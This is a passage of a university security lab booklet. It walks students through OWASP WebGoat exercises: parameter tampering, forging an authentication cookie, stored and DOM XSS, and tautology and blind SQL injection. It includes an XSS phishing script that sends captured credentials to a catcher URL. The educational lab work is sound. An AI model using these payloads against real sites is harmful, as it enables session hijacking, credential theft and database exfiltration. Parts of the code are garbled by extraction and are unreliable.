Lab Booklet

7/27/2019 Lab Booklet

1/111

Department of Computer Architecture (DAC)

Universitat Politcnica de Catalunya (UPC)

Security in Information Systems (SSI)

Laboratory Booklet

Manuel Garca-Cervign and Jordi Nin

February, 2011


2/111


3/111

Contents

1 Vulnerabilities in web applications 1

1.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.2 Start the LiveCD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.3 Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

1.3.1 Parameter validation . . . . . . . . . . . . . . . . . . . . . . . 4

1.3.2 Session administration and authentication . . . . . . . . . . . 10

1.3.3 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . 13

1.3.4 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

1.4 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

2 Vulnerabilities in web applications II 19

2.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

2.2 Security in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

2.3 Security in AJAX II . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

2.4 Defects on authentication . . . . . . . . . . . . . . . . . . . . . . . . 28

2.5 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

2.6 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

2.7 The Challenge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

2.8 The Challenge (Optional part) . . . . . . . . . . . . . . . . . . . . . 49

3 Security in wireless networks 55

3.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

3.2 Environment set up . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56

3.3 Breaking WEP encoding . . . . . . . . . . . . . . . . . . . . . . . . . 57

3.4 Find the IP range . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

3.5 MAC filtering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

3.6 Man In the Middle attack (optional) . . . . . . . . . . . . . . . . . . 62

3.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64

4 Digital Certificates 65

4.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

4.2 Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

4.3 Prepare the environment . . . . . . . . . . . . . . . . . . . . . . . . . 65

4.4 Create a certification hierarchy . . . . . . . . . . . . . . . . . . . . . 66

4.4.1 Issue a certification request (CSR file) . . . . . . . . . . . . . 66

4.4.2 Issue the CA certificate out of the pending request . . . . . . 66

4.4.3 Issue the certificate request (and the new key pair associated) 67

4.4.4 Issue the certificate from the pending request . . . . . . . . . 67

4.4.5 Export the servers certificate as well as its private key . . . . 68


4/111

ii Contents

4.4.6 Generate a certificate for the user to authenticate against the

web server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68

4.4.7 Export the user certificate and its private key . . . . . . . . . 684.4.8 Install the user certificate in a Unix environment . . . . . . . 68

4.5 Apache Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . 68

4.5.1 Certificate Configuration . . . . . . . . . . . . . . . . . . . . . 68

4.5.2 Start the apache web server for non secure connections . . . . 69

4.5.3 Apache configuration to authenticate the server . . . . . . . . 69

4.5.4 Configure a VirtualHost to use SSL . . . . . . . . . . . . . . . 69

4.5.5 Enable the new website . . . . . . . . . . . . . . . . . . . . . 70

4.5.6 Client authentication using a digital certificate . . . . . . . . 70

5 Introduction to Malware analysis 73

5.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73

5.2 Laboratory Environment . . . . . . . . . . . . . . . . . . . . . . . . . 73

5.3 The malware: a trojan copy of a windows live messenger . . . . . . . 74

5.4 Behavioral analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74

5.5 Network traffic analysis . . . . . . . . . . . . . . . . . . . . . . . . . 77

5.6 Code analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79

6 IPTables 85

6.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85

6.2 General iptables Description . . . . . . . . . . . . . . . . . . . . . . . 85

6.3 Tables and Chains description . . . . . . . . . . . . . . . . . . . . . . 856.4 Iptables commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88

6.4.1 Allowing Established Sessions . . . . . . . . . . . . . . . . . . 89

6.4.2 Allowing Incoming Traffic on Specific Ports . . . . . . . . . . 90

6.4.3 Blocking Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . 91

6.4.4 Editing iptables . . . . . . . . . . . . . . . . . . . . . . . . . . 91

6.4.5 Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92

6.5 Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92

6.5.1 Rules without considering the package state . . . . . . . . . . 92

6.5.2 Rules considering the package state . . . . . . . . . . . . . . . 93

7 Forensic analysis 95

7.1 Objetives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

7.2 Requisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

7.3 Lab description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

7.4 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96

7.5 Autopsy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96

7.5.1 Evidence Search Techniques . . . . . . . . . . . . . . . . . . . 97

7.5.2 Case Management . . . . . . . . . . . . . . . . . . . . . . . . 98

7.5.3 Case Creation in a Nutshell . . . . . . . . . . . . . . . . . . . 98

7.5.4 Useful Autopsy Views . . . . . . . . . . . . . . . . . . . . . . 99


5/111

Contents iii

7.6 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99

7.7 Joe Jacobs police report . . . . . . . . . . . . . . . . . . . . . . . . . 99


6/111


7/111

Session 1

Vulnerabilities in web applications

Contents

1.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.2 Start the LiveCD . . . . . . . . . . . . . . . . . . . . . . . . . 2

1.3 Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

1.3.1 Parameter validation . . . . . . . . . . . . . . . . . . . . . . . 41.3.2 Session administration and authentication . . . . . . . . . . . 10

1.3.3 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . 13

1.3.4 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

1.4 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

1.1 Objective

Vulnerabilities in web applications are responsible for most of the security viola-

tions in computer networks. Every time more often, the attacks are addressed to

applications such as Internet shopping, web forms, as well as the authentication and

access points to protected web pages and dynamic contents from linked databases

with transactions and information requests.

When we talk about web applications vulnerabilities we are not talking about

operating system or http servers vulnerabilities (version update, patches, etc) but

about the vulnerabilities of the software on top of them. Such vulnerabilities are

directly related to the logic, code scripting and content of the web application.

Being able to detect such vulnerabilities provides us with more security as well

as to be able to provide more control and quality to our software products.

The objective of this session is to study some of the main vulnerabilities foundin web applications, study some basic ways to perform attacks and understand the

origin of such vulnerabilities and how to be able to avoid them.

We will use the following applications for this session:

WebGoat is a J2EE application developed by OWASP (The Open Web Appli-

cation Security Project) and based on Tomcat. It is an insecure application

and it is basically its purpose. The objective is to use it as an introduction

to different attacks directed to web applications (test environment). It has

different lessons that provide us with help and information to understand and

be able to overcome them.


8/111

2 Session 1. Vulnerabilities in web applications

WebScarab is a framework to analyze web applications developed by OWASP. It

uses http and https and it can be used as a proxy to study web pages requests

and responses, review and modify them before they get to the client or theserver.

Both applications can be found on a LiveCD named OWASP OWASP Live

CD Education Project (LabRat), than we are going to use. This Live CD can be

downloaded from http://appseclive.org/content/downloads

The vulnerabilities that we are going to see are:

Hidden field authentication: how to obtain additional information form web ap-

plications and modify the clients generated requests or server responses to be

able to perform the attack.

Weak session identification: we will see the dangers of a weak authentication,

in this case, how to impersonate another user by means of a session cookie.

Cross-Site Scripting (XSS): is an attack based in the vulnerabilities exploit of

the embedded HTML validation. It takes advantage on the lack of filtering

mechanisms of the input fields, allowing the data input and transfer without

any validation, being able to generate malicious command sequences or scripts.

SQL Injection: it is a vulnerability found at the input data validation of a

database associated to a web application. The origin is the incorrect filtering

of variables used in the application code that perform SQL sentences.

1.2 Start the LiveCD

Go to the Live CD start menu and at option live - boot the Live System
http://appseclive.org/content/downloadshttp://appseclive.org/content/downloads


9/111

1.2. Start the LiveCD 3

Once the Live CD has started you must follow the steps:

1. Keyboard layout: The default layout is US, go to System -> Preferences

-> Keyboard and add the ES layout

2. Start the WebScarab application: When starting the graphic interface go

to the OWASP -> Proxies -> WebScarab and click to see the following screen:


10/111


3. Start WebGoat application:

Open a shell

Change to the directory where the WebGoat application is installed

# c d /op t/ owasp /we b goat

Start the application on port 8080

#s u do . / w eb go a t . s h s t a r t 8 0 8 0

Watch the messages appearing while the application starts. When thefollowing message appears the application will be running

INFO : S e r v er s t a r t u p i n 4 35 0 ms

4. Web browser configuration: Open the web browser and configure it to

use a local proxy, in our case WebScarab, using port 8008 by default. Go to

Edit -> Connection Settings ... Depending on the LiveCD version it will be

Preferences


11/111

1.3. Exercises 5

Configure manually the proxy option as seen below.

Warning! observe that the field No Proxy for doesnt have 127.0.0.1 or

localhost:

At the browser address bar type http://127.0.0.1:8080/webgoat/attack

Remember: user: guest password: guest

1.3 Exercises

1.3.1 Parameter validation

We will see the danger of no validating input parameters on a Web application or

doing a poor or incorrect validation. On Parameters tampering we will find threeexercises:

1.3.1.1 Hidden fields

Access to WebGoats lesson Exploit Hidden Fields. Its goal is to buy from a web

page for a lower price.

Observing the web page we can see that the field Price cant be modified. Try

several times Update chart or Purchase or observing the code clicking Show Java

to modify the products price. Have you found something?


12/111


Lets now watch the request sent to the server when we try to buy. Follow the

steps:

Go to WebScarab and click Intercept Requests inside Manual Edit:

Once activated the requests reception, go back to WebGoat and try to buy

clicking on Purchase.


13/111

1.3. Exercises 7

You will then see a new WebScarab window with the intercepted request. If we

take a look at tab URLEncoded well find variables (QTY, SUBMIT, Price).

One of the variables refers to the purchase price, try to modify the price at

column Value, disable the requests interception (clicking again on Intercept

Requests and click on Accept Changes.

We have been able to modify the purchasing price.

1.3.1.2 e-mail not validated

Go to WebGoat lesson exploit unchecked mail. Now the goal is to be able to change

the e-mail address where the comments typed at the web page are sent. Enter some

comments and see the code by clicking on Show Java to be able to modify the

e-mail address. Have you found anything?


14/111


Type a malicious script like

< s c r i p t > a l e r t ( " X S S " ) < / s c r i p t >

into the comments field and send. Observe that you are able to add your own

script and execute whatever you want.

Now, lets change the e-mail address field. This can be accomplished by in-

tercepting the request with webscarab and changing the hidden field "to" from

[email protected] to [email protected]

1.3.1.3 Avoid validations on the client side

Go to WebGoat lesson How to bypass Client Side JavaScript Validation. The goal

is to avoid validation implemented on the client side of the application.

This web page sends seven values to the web server that need to match regular

expressions validated locally. Try introducing correct and incorrect values on every

field and send them clicking on Submit or observing the code clicking on Show

Java to be able to find the code implementing the fields validation. Have you found

anything?

What would happen if we sent incorrect values in all the fields? For instance a

dash (-)


15/111

1.3. Exercises 9

Data is being validated at the client side and we cant send it to the server.

Looking at the code you can find the section implementing the validation:i f ( ! p att e rn 1 . m atch e r( p aram 1 ) . m atch e s () ){

err++;

msg += "
S e r v e r s i d e v a l i d a t i o n v i o l a t i o n :

You s u cc e ed e d f o r F i e l d 1 . " ;

}

i f ( ! p att e rn 2 . m atch e r( p aram 2 ) . m atch e s () ){

err++;

msg += "
S e r v e r s i d e v a l i d a t i o n v i o l a t i o n :

You s u cc e ed e d f o r F i e l d 2 . " ;

}. . .

i f ( e r r > 0 ){

s . se tMe ssage (msg ) ;

}

This code is downloaded when requesting the web page. Lets try to skip the

validation:

We need to modify WebScarab configuration to be able to intercept servers

responses. On tab Proxy, check Intercept Responses an verify that Intercept

Requests is disabled.


16/111


Now reload the browsers page to issue a new request. You will see a new

WebScarab window with the intercepted response. If we click on Raw tab from

the lower half window well be able to see the servers response and there we willfind the code to validate the fields that we want to avoid.

Edit the code erasing the validation code: lines between (msg=JavaScript... and

(if (err >0 ... Uncheck Intercept responses.

Click on Accept Changes, go back to the web page and click Submit to send

incorrect data to the server.

We have been able to avoid the clients validation and to send incorrect infor-

mation to the server.


17/111

1.3. Exercises 11

1.3.1.4 Practice

Go to WebGoat lesson How to bypass a Fail Open Authentication Scheme at

chapter Improper Error Handling. Try solving the lesson using the techniques

studied above.

1.3.2 Session administration and authentication

1.3.2.1 Authentication using cookies

Well see now how applications use cookies to maintain session information and

how that information can be used to establish a session for a different user without


18/111


having its credentials.

Go to WebGoat lesson How to spoof an Authentication Cookie. The goal is to

be able to establish a session as user Alice without having her credentials.Try authenticating as webgoat/webgoat and aspect/aspect reloading the

screen to observe how the web page uses the cookie to validate and maintain the

session. Watch the code clicking on Show Java to be able to establish a session as

user Alice. Have you found anything?

Lets take a look at the mechanism used to authenticate using the cookie:

Log in as webgoat.

Check the WebScarab Intercept Request box and click Refresh. You will

see a new window with the request; observe the cookies value.

Uncheck Intercept Requests and click Accept Changes.

Do the same for user aspect observing the value of the cookie; compare it

with the one for user webgoat.

Repeat the same process several times, observing the value of the cookie for

each user.

The value of variable AuthCookie for each user is always the same. Therefore

we can think that if we find the logic that generates that value we can try to modify

the cookie to simulate a session for another user.

Lets study each value:


19/111

1.3. Exercises 13

User AuthCookie

webgoat 65432ubphcfx

aspect 65432udfqtbAlice 65432?????

We can see that variable AuthCookie always begins with 65432, well then

concentrate on the variable part.

It looks like the number of characters of the username is directly related to the

generated code

webgoat 7 characters -> upbhcfx 7 characters

aspect 6 characters -> udfqtb 6 characters

alice 5 characters ... we may then think that the code will have 5 characters

Lets now try finding some relationship amongst the characters:

The code generated for both users begins with u but the username doesnt

begin with the same character but we see that both end in t. Reversing the order:

User AuthCookie

taogbew ubphcfx

tcepsa udfqtb

Now, we only need to watch a bit longer the characters to discover that, each

character corresponds to one of the characters of the username in the AuthCookie

alphabet. Thats a variant of the Caesar enciphering, classic and very basic method

where a character is replaced by another one, with a bijective correspondence.

t->u, a->b, o->p, g->h, b->c, e->f, w->x

t->u, c->d, e->f, p->q, s->t, a->b

Therefore to generate the code for user alice:

User AuthCookie

webgoat 65432ubphcfx

aspect 65432udfqtb

alice 65432fdjmb

Now, lets send the server the modified value of AuthCookie: start a session

with for user webgoat or aspect, check WebScarabs Intercept Requests and click

Refresh.

On the new WebScarab window containing the request, modify the value for

AuthCookie using the one we have calculated, uncheck Intercept Requests and

click on Accept Changes.


20/111


You can now see a page that is greeting user alice.

1.3.3 Cross Site Scripting

We will see now how to take advantage on a form vulnerability using what we havealready learnt.

Go to WebGoat lesson LAB: Cross Site Scripting (XSS). The goal of that lesson

is that the application serves a script developed by us or any other user.

Try authenticating against the web page using different users (the password is

the same as the username) observing what features are available and looking for a

way to execute our own script when a user logs in. Any idea?

Basically this is a human resources application where every user can access to

his related information. Administrative users can query and update other users.

Authenticate as an administrative user i.e. John Wayne (admin) password

john.

Select an employee from the list and click on ViewProfile.

We will now modify one of the fields of that user adding a script that will be

executed when the user logs in to check his data.

Add to the field Street:


21/111

1.3. Exercises 15

>< s c r i p t > a l e r t ( " S t o l e n s e s s i o n " + do cume nt . c o o k i e )

Click on UpdateProfile and then Logout.

To check whether our scripts executes correctly, authenticate as the modified

user and then click on View Profile


22/111


See that the application has served that script to another user, therefore we have

achieved our goal.

1.3.4 SQL Injection

We are going to study how to insert SQL sentences inside of a previously written

query in order to manipulate the correct procedures of a given application.

Go to WebGoat lesson How to Perform String SQL Injection. Its goal is toobtain a listing of the credit cards stored in a database.

Type Smith as a parameter and try other values. Observe the results and study

how the SQL sentence providing the listing is modified.

See that the query is waiting for a value to be entered and then used.


23/111

1.3. Exercises 17

What if we type two quotes without any value?

The SQL sequence is correct and returns no value. What if we type just one

quote?

Now the SQL syntax is not correct: it requires a quote at the beginning of a

string and another one at the end. We must then find a correct SQL sentence that is

always true Enter this text for last_name and execute the query clicking on Go!

FIB o r 1 = 1

We are closing the first quote with any value and then add an expression that

always is true (1=1). We need to remember that a quote is added at the end.

The Boolean OR operator will make the trick returning all the values of the table.


24/111


We have finally achieved to list all the values of the customers credit cards

stored in the database.

1.4 References

OWASP Project , http://www.owasp.org

OWASP Project at Sourceforge, http://sourceforge.net/projects/owasp

Web Application Security Consortium (WASC), http://www.webappsec.org

Common Vulnerabilities and Exposures (CVE), http://www.cve.mitre.org

http://www.faqs.org/rfcs/rfc2660.html



Secure Coding: Principles & Practices, http://www.securecoding.org/


25/111

Session 2

Vulnerabilities in web applicationsII

Contents

2.1 Objective . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

2.2 Security in AJAX . . . . . . . . . . . . . . . . . . . . . . . . . 202.3 Security in AJAX II . . . . . . . . . . . . . . . . . . . . . . . . 23

2.4 Defects on authentication . . . . . . . . . . . . . . . . . . . . 28

2.5 Cross Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . 36

2.6 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

2.7 The Challenge . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

2.8 The Challenge (Optional part) . . . . . . . . . . . . . . . . . 49

2.1 Objective

Vulnerabilities in web applications are responsible for most of the security viola-

tions in computer networks. Every time more often, the attacks are addressed to

applications such as Internet shopping, web forms, as well as the authentication and

access points to protected web pages and dynamic contents from linked databases

with transactions and information requests.

When we talk about web applications vulnerabilities we are not talking about

operating system or http servers vulnerabilities (version update, patches, etc) but

about the vulnerabilities of the software on top of them. Such vulnerabilities are

directly related to the logic, code scripting and content of the web application.Being able to detect such vulnerabilities provides us with more security as well

as to be able to provide more control and quality to our software products.

The objective of this session is to study some of the main vulnerabilities found

in web applications, study some basic ways to perform attacks and understand the

origin of such vulnerabilities and how to be able to avoid them.

The goal of current session is to continue with the study of some of the main

vulnerabilities found in web applications, study some of the most basic ways to

perform attacks and understand the origin of such vulnerabilities and how to avoid

them.

We will use the following applications for this session:


26/111

20 Session 2. Vulnerabilities in web applications II

WebGoat is a J2EE application developed by OWASP (The Open Web Ap-

plication Security Project) and based on Tomcat. It is an insecure application

and it is basically its purpose. The objective is to use it as an introductionto different attacks directed to web applications (test environment). It has

different lessons that provide us with help and information to understand and

be able to overcome them.

WebScarab is a framework to analyze web applications developed by

OWASP. It uses http and https and it can be used as a proxy to study web

pages requests and responses, review and modify them before they get to the

client or the server.

2.2 Security in AJAXHere we will see how to modify the DOM (Document Model Object) that is the

specification that determines how the objects (texts, images, links, etc) are repre-

sented in a web page. We will see that on an application that uses AJAX to modify

and update the DOM.

Go to WebGoats lesson AJAX Security -> DOM Injection. The purpose of this

lesson is to modify the DOM injecting JavaScript instructions to enable Activate!

the button found in the page.

Study the code to be able to detect which are the instructions that disables the

Activate! button.

S t r i ng s c r i p t = "< s c r i p t >" + l i n e Se p + " f u n c t io n v a l i d a t e ( ) {"

97 + l i n e S e p + "var ke y Fie l d=d oc um en t . ge tEle m e n tByI d ( key ) ; "

98 + l i n e S ep + " v ar u r l = " + g et Li nk ( )

99 + "&from=aja x&key=+encodeURIComponent ( ke yF ie ld . val ue ) ; "

100+ l i n e S e p + " i f ( t y p e o f XM LHttpRequest != u n d e f i n e d ) { "


27/111

2.2. Security in AJAX 21

101+ l i n e S e p + " r e q = new XML HttpRequest ( ) ; " + l i n e S e p

102+ "} e l s e i f ( window . A ct iv eX Ob je ct ) { " + l i n e S e p

103+ " req=new ActiveXObject ( Mi cr os of t .XMLHTTP ) ; " + li ne Se p104+ " }"+ l i n e S e p +" r e q . o pe n ( GET , u r l , t r u e ) ; " + l i n e S e p

105+ " r e q . o n r ea d y s ta t e ch a n ge = c a l l b a c k ; " + l i n e S e p

106+ " r eq . s en d ( n u l l ) ; " + l i n e Se p + " }" + l i n e Se p

107+ " f u n c t i o n c a l l b a c k ( ) {" + l i n e S ep

108+ " i f ( r eq . r ea dy St at e == 4) { " + l in e Se p

109+ " i f ( r e q . s ta tu s == 2 00 ) { " + l in eS ep

110+ " var message = r e q . r e s p o n s e T e x t ; " + l in eS ep

111+ " e v a l ( message ) ; " + l i n e S e p + "

} } } " + l i n e S e p

112+ "" + l in e S e p ;

Once we have located it, lets try to modify the request to try to enable the

button. Go to the WebScarab window and enable Intercept responses.

Now lets simulate the typing of a key to trigger the validation:

h ttp :/ /1 27 .0 .0 .1 :8 08 0/ we bgoat/at tac k ? S c re e n =36&menu=1150&

from =ajax&ke y=c lau falsa


28/111


Warning! watch the value of variables Screen and menu since it can change,

and use the values appearing to build a URL like the one above.

You will see a new WebScarab window with the intercepted response. Inside the

response look for the section that defines the button disabled and erase that part of

the code to allow it to be enabled:

Replace the code

by

Disable the response interception of WebScarab and click on Accept Changes.

Now we can click on Activate and we will have passed the lesson.


29/111

2.3. Security in AJAX II 23

2.3 Security in AJAX II

We will now see how to modify. the DOM, as we have already done, but we will

use now a vulnerability that allows to inject code using Cross Site Scripting (XSS)

in order to manipulate the licit processes of a given application.

Go to WebGoats lesson LAB: DOM-Based cross-site scripting. The goal

now is to obtain a listing with the credit cards from the users stored in a database.

This lesson has different steps to overcome with a particular intention for each.

The first stage is to deface the web page using the image:


30/111


We find here a page containing a field to enter our name that the application

uses to greet us. Lets try typing some values in this text field.

As you can see the application immediately incorporates the values typed to the

web page. What would it happen if we type code to modify the web page?

Type the following command in the text field. It references the image that we

want to appear on the web page.

Click on Submit Solution to go to the next stage


31/111


On this stage we want to execute a JavaScript alert using the image tab. look

for the way to build this tag and how to enter an alert inside of the tag. Have you

found the correct solution?

Try typing the following text on the field:

Since there is no image on that path the "onerror" script is triggered.

Click on Submit Solution to go to the next stage


32/111


On the third stage we will need to execute another JavaScript alert and use the

iframe tag. Look for information on that tag and on how to include the alert inside

of the tag.Insert the following instruction on the text field:

< i f r a me s r c =" j a v a s c r i p t : a l e r t ( J a v a S c r i p t a l e r t ); " > < / i f r am e >

click on Submit Solution to go to the next stage.

On this stage we nee to build a fake login form.

Enter the following text

Pl ea se en te r your passw ord :

Send password

If you enter a password on the first text field and click on Submit Solution we

will see that the constructed field acts masking the password as in a real form and

that the users password has been captured.

We will need to enter the fake form to be able to go to the next stage, enter:


33/111


Ple a se e n t e r you r p assword :
Submit

This time we will click on the original Submit Solution.

We have now reached the last stage of the lesson. We are going now to try to

find a way to mitigate the DOM XSS vulnerability.

1. Open file escape.js at http://localhost:8080/webgoat/javascript/escape.js andtry to guess its utility.

2. Next you should find the code that makes that all you type at the text field

appears on the web page.

3. If you look at the source code you will see that it uses the file DOMXSS.js at

http://localhost:8080/webgoat/javascript/DOMXSS.js and contains the func-

tion that shows the values of the text field.

4. You need to replace this files code using the function es-

capeHTML from escape.js. Edit DOMXSS.js that is at

/tomcat/webapps/webgoat/javascript, where should be, by default, /opt/owasp/webgoat.

Replace:

f u n c t i o n d i s p l a y G r e e t i n g ( name ) {

i f ( name != ) {

document . getElementById (" gre et in g ") . innerHTML="Hell o , "

+ n ame+ " !" ;

}

}


34/111


by

f u n c t i o n d i s p l a y G r e e t i n g ( name ) {i f ( name != ) {

document . getElementById (" gre et in g ") . innerHTML="Hell o , "

+ escapeHTML(name) + " ! " ;

}

}

Once you have modified that, try to perform some of the previous injections, for

instance the web defacement.

As you can see the DOM XSS injection cannot be performed anymore and we

only needed to include a very simple command to avoid it.

Click on Submit Solution to end the lesson.

2.4 Defects on authentication

We will study the way basic authentication works, we will see how the credentials

are resent automatically for each protected page.

Go to WebGoats lesson Authentication flows -> Basic Authentication. The

goal of this lesson is to understand the basic authentication, to do it we will have

to solve two questions:


35/111

2.4. Defects on authentication 29

Click on Submit and intercept the request using WebScarab. Study the contents

of the request to find the name of the authentication header and its value.

As you may have guessed the header is Authorization and the value

"Z3Vlc3Q6Z3Vlc3Q=".

To decode the value go to WebScarabs "Tool" menu and click on "Transcoder".


36/111


We will have a new window to enter the value found and that will help us

decoding it.

Click on Base64 decode to decode the value


37/111


We have it now decoded, now enter this information on the questions asked and

to go to the next stage click on Submit.

We have found the appropriate values and we have been able to pass the first

stage of the lesson. Our next goal is to force WebGoat to re-authenticate us with

user basic.


38/111


Enable WebScarabs request interception. To create the request we will go back

to click on the lesson Basic Authentication.

On JSESSIONID variable from the Cookie header, we can find the value of

the session that allows us to identify protected pages without having to retype the

credentials.

To force the server to assign us a new session we will have to modify the value

of variable JSESSIONID. For instance deleting the last two characters.


39/111


Click on Accept changes and you will see that the application has been redi-

rected to the main page but without asking the credentials. If you verify the contents

of variable JSESSIONID you will see that it is different to the one we had assigned

before: the server has assigned us with a new session.

Do the same again but now modify the header "Authorization" and the variable

JSESSIONID.


40/111


You will see that the application has now required us to enter the credentials,

we will type now the ones for user basic.

Study the value that appears now in the requests, intercepting the request with

WebScarab.


41/111


You can see that the value of the Authorization header is different and that we

have the same session that we had with user guest. Decode the Authorization

header.

As we expected the content is username and password for user basic.

If you invalidate the session JSESSIONID typing JSESSIONID=novalidsession

we can really access to the basic user session. Intercept the request and modify the

variable.


42/111


We have been able to access the application as before.

Click on Start WebGoat and go back accessing the lesson clicking on WebGoats

Basic Authentication.

Warning! watch the links you click on to issue new requests to inter-

cept. Think that if you are authenticated as basic an click on a link such as

guest:[email protected].... you will re-authenticate as user guest. We rather reload

the page to create new requests.


43/111

2.5. Cross Site Scripting 37

We finally have authenticated as user basic and passed the lesson.

2.5 Cross Site Scripting

In this lesson we will see an example of phishing attack on a web page using Cross-

Site Scripting (XSS).

Go to WebGoats lesson Phising with XSS. The goal of this lesson is to capture

the credentials of a user and send them to a servlet.We need to build a form for the user to enter the credentials to be able to

intercept them. We will, therefore, write a typical HTML form to inject in the field

Search:


44/111


Nom Usu ari :

< l a b e l f o r ="pwd" > Pa s sw o rd : < / l a b e l >

Now we have the form and we now need to write a script to retrieve the data

and send them to the servlet:

< s c r i p t >

f u n c t i o n p h i s i n g ( ) {

a l e r t ( " Your d a ta h as b ee n c a p tu r e d : Us er name : " +

document . getElementById ("name " ) . va lue + "Password :" +

document . getElementById( "pwd" ) . val ue ) ;

va r XSSImage=IEWIN?new Image ( ) : document . cre at eE le me nt ( img ) ;


45/111

2.5. Cross Site Scripting 39

XSSImage . s r c =" h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / we bg oa t / c a t c h e r ?

PROPERTY=ye s&us e r="+ document . ge tE lem ent By Id (" name " ) . va l ue

+ "&p assword =" + d oc um en t . ge tElem e n tByI d ("pwd " ). valu e + " " ;}

< / s c r i p t >

This script shows an alert with the users entered data and sends them to the

URL http://localhost./webgoat/catcher?PROPERTY=yes...

We will now put together the form and the script in the same line to enter it in

the Search field.

< s c r i p t >

f u n c t i o n p h i s i n g ( ) {

a l e r t ( " Your d a ta h as b ee n c a p tu r e d : Us er name : " +

document . getElementById ("name " ) . va lue + "Password :" +

document . getElementById( "pwd" ) . val ue ) ;

va r XSSImage=IEWIN?new Image ( ) : document . cre at eE le me nt ( img ) ;

XSSImage . s r c =" h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / we bg oa t / c a t c h e r ?

PROPERTY=ye s&us e r="+ document . ge tE lem ent By Id (" name " ) . va l ue

+ "&p assword =" + d oc um en t . ge tElem e n tByI d ("pwd " ). valu e + " " ;

}

< / s c r i p t >

Nom Usu ari :

< l a b e l f o r ="pwd " >P as s wo rd : < / l a b e l >

Inject the code on the field and click on Search. You will see the form that

we have built where we can capture the credentials. Type anything and click on

Accept to check that the data has been captured.

We have then completed the lesson.


46/111


2.6 SQL Injection

In this lesson we will see how to insert SQL code to obtain the owners name of a

given bank account. Go to WebGoats lesson Injection flow -> Blind string

SQL Injection. The goal of this lesson is to obtain the owners name of cc_number

4321432143214321

The only thing we can have now it whether an account number is valid or not.

We will have to modify/broaden the query to obtain the information we are lookingfor.

A good test is see how the system reacts when we try to execute a command

that does not exist in the SQL syntax.

For example execute

1 01 o r i n v en t e d ( 1 0 1 ) ;


47/111

2.6. SQL Injection 41

You can see that the system has thrown an error since it could not understand

the syntax of function invented().

Now, knowing how the system reacts, lets try to see whether the functions we

want to use are recognized or not.

Lets first check on function ascii() : 65 OR ascii(90);

The system has recognized the function since it has not thrown an error message.


48/111


Now, lets try to determine the first letter of the name. As we do not know any

clue about the name, we need to limit the search space, for instance with a SQL

query like this:

101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns

wh ere c c_num be r=4321432143214321) ,1 ,1)) by = to be more accurate

101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns where

c c _n u m b e r=4321432143214321),1,1))=74)


49/111

2.6. SQL Injection 43

We have found that the first letter of the first name is ascii 74: it begins with

J

Find the combinations for the following letters. After checking all, well see that

the correct queries are:


c c _n u m b e r=4321432143214321),1,1))=74)

101 AND ( ASCII ( s ub s t r ( (SELECT name FROM pi ns wherec c _n u m b e r=4321432143214321),2,1))=105)


c c _n u m b e r=4321432143214321),3,1))=108)


c c _n u m b e r=4321432143214321),4,1))=108)

and transforming the ascii codes:


50/111


We will obtain the name Jill, lets try:

We have completed the lesson.


51/111

2.7. The Challenge 45

2.7 The Challenge

On this lesson we will use some of the techniques learnt in previous lessons. Go

to WebGoats lesson The Challenge. The goal of this lesson is to break the

authentication scheme, obtain all the credit card numbers held in the database and

deface the web page.

Try different test entering different usernames and passwords that we used in

previous stages. Now we cant view the code by clicking on Show Java so we will

try to access the code to examine it in another way.

Lets observe the request sent to the server when we try to authenticate: Enable

Intercept Requests on WebScarab


52/111


Go back to WebGoat and intercept an authentication. On the WebScarab win-

dow with the intercepted request go to tab URLEncoded to find four variables

